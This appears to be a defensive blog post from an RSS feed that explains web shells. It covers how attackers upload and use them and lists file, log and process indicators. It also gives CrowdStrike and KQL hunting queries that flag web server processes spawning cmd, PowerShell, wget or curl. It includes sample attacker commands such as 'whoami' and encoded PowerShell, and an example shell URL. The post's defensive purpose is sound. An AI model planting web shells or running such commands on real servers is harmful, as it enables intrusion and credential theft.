            <content:encoded><![CDATA[<p>Web shells give attackers remote command execution on a web server through ordinary HTTP requests. This post covers what they are, how they get planted, and how to detect and defend against them.</p><h3><strong>What Is a Web Shell?</strong></h3><p>A web shell is a malicious script uploaded to a web server. It allows attackers to remotely execute commands through a browser. Think of it as a remote terminal hidden inside your website.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/1*E_7MCwIlfDhNlnWRzwdHsQ.png" /><figcaption>Web Shell Attack Chain Stages</figcaption></figure><h3>How Attackers Use Web Shells</h3><h3>1. Upload the Script</h3><p>Attackers exploit vulnerabilities in web applications (e.g., file upload flaws, SQL injection, RCE) to upload a malicious script.</p><h3>2. Script Extensions</h3><p>These scripts are written in the same language the web server supports:</p><ul><li>.php – PHP-based servers (e.g., WordPress, Joomla)</li><li>.jsp – Java-based servers (e.g., Apache Tomcat)</li><li>.aspx – ASP.NET servers (e.g., IIS on Windows)</li></ul><p>These files are interpreted by the server and executed when accessed via a browser.</p><h3>3. Execution</h3><p>Once uploaded, the attacker accesses the script via a URL like:</p><pre>http://victim.com/uploads/shell.php</pre><p>This opens a web interface where they can run commands like:</p><pre>whoami<br>netstat -an<br>powershell -EncodedCommand …</pre><h3>4. Post-Exploitation</h3><p>They use the shell to:</p><ul><li>Create new users</li><li>Dump credentials</li><li>Move laterally across the network</li><li>Install malware or ransomware</li><li>Maintain persistence</li></ul><h3>How Do Attackers Find Vulnerable Servers?</h3><p>Attackers use automated tools and scanners to find exposed and vulnerable web servers on the internet. Common methods include:</p><h3>Scanning Tools</h3><ul><li><strong>Shodan or Censys:</strong> Search engines for internet-connected devices.</li><li><strong>Nmap</strong>: Scans IP ranges for open ports and services.</li><li><strong>Nikto, Dirb, Gobuster:</strong> Scan for vulnerable web directories or files.</li></ul><h3>Vulnerability Scanners</h3><ul><li><strong>Nessus, OpenVAS, Acunetix :</strong> <strong>Identify known vulnerabilities like:</strong></li><li>Outdated CMS (WordPress, Joomla)</li><li>Misconfigured servers</li><li>File upload flaws</li><li>Remote Code Execution (RCE)</li></ul><h3>Detect a Web Shell or Compromised Web Server:</h3><h3>Behavioral Indicators</h3><ul><li>Web server processes (w3wp.exe, php.exe, java.exe) spawning: cmd.exe, powershell.exe, wget, curl</li><li>Unusual outbound traffic (e.g., to unknown IPs)</li><li>High CPU usage or memory spikes</li><li>Unexpected file changes in web directories</li></ul><h3>File-Based Indicators</h3><ul><li>Suspicious files in /uploads/, /images/, or /temp/ directories</li><li>Files with double extensions: image.jpg.php, shell.aspx.txt</li><li>Recently modified .php, .jsp, .aspx files</li></ul><h3>Log-Based Indicators</h3><ul><li>Repeated access to a single script (e.g., shell.php)</li><li>Requests with suspicious parameters (e.g., ?cmd=whoami)</li><li>POST requests to static file types</li></ul><h3>How to Defend Against Web Shells</h3><h3>Best Practices</h3><ul><li>Patch web applications regularly</li><li>Restrict file uploads (validate MIME types, use allowlists)</li><li>Monitor process behavior (e.g., w3wp.exe spawning cmd.exe)</li><li>Use EDR/XDR tools like Microsoft Defender for Endpoint</li><li>Implement web application firewalls (WAFs)</li></ul><blockquote><strong>Threat Hunting Queries</strong></blockquote><p><strong>CrowdStrike Query:</strong><br>#event_simpleName = ProcessRollup2<br>ParentBaseFileName=w3wp.exe OR ParentBaseFileName=php.exe OR ParentBaseFileName=java.exe<br>FileName = powershell.exe OR FileName = cmd.exe OR FileName = wget.exe OR FileName = curl.exe</p><p><strong>KQL Query:</strong><br>DeviceProcessEvents<br>| where InitiatingProcessFileName in~ (“w3wp.exe”, “php.exe”, “java.exe”)<br>| where FileName in~ (“powershell.exe”, “cmd.exe”,”wget.exe”, “curl.exe”)</p><p><strong><em>False Positives: Expect some Benign hits corresponding to automation workflows.</em></strong></p><h3>Final Thoughts: Stay Ahead of the Shell Game</h3><p>Web shells are stealthy, powerful, and increasingly common in modern cyberattacks. From initial reconnaissance to full-blown exploitation, attackers use these scripts to silently gain control over web servers and pivot deeper into networks.</p><p>While the techniques may seem complex, the key to defense lies in awareness, visibility, and proactive monitoring. By understanding how web shells work, recognizing their indicators, and applying threat hunting queries in CrowdStrike and Microsoft Defender XDR, defenders can stay one step ahead.</p><p>Whether you’re a security analyst, a system admin, or just curious about cybersecurity, <strong><em>remember: every shell leaves a trace, if you know where to look.</em></strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=59b55ed7c7a4" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>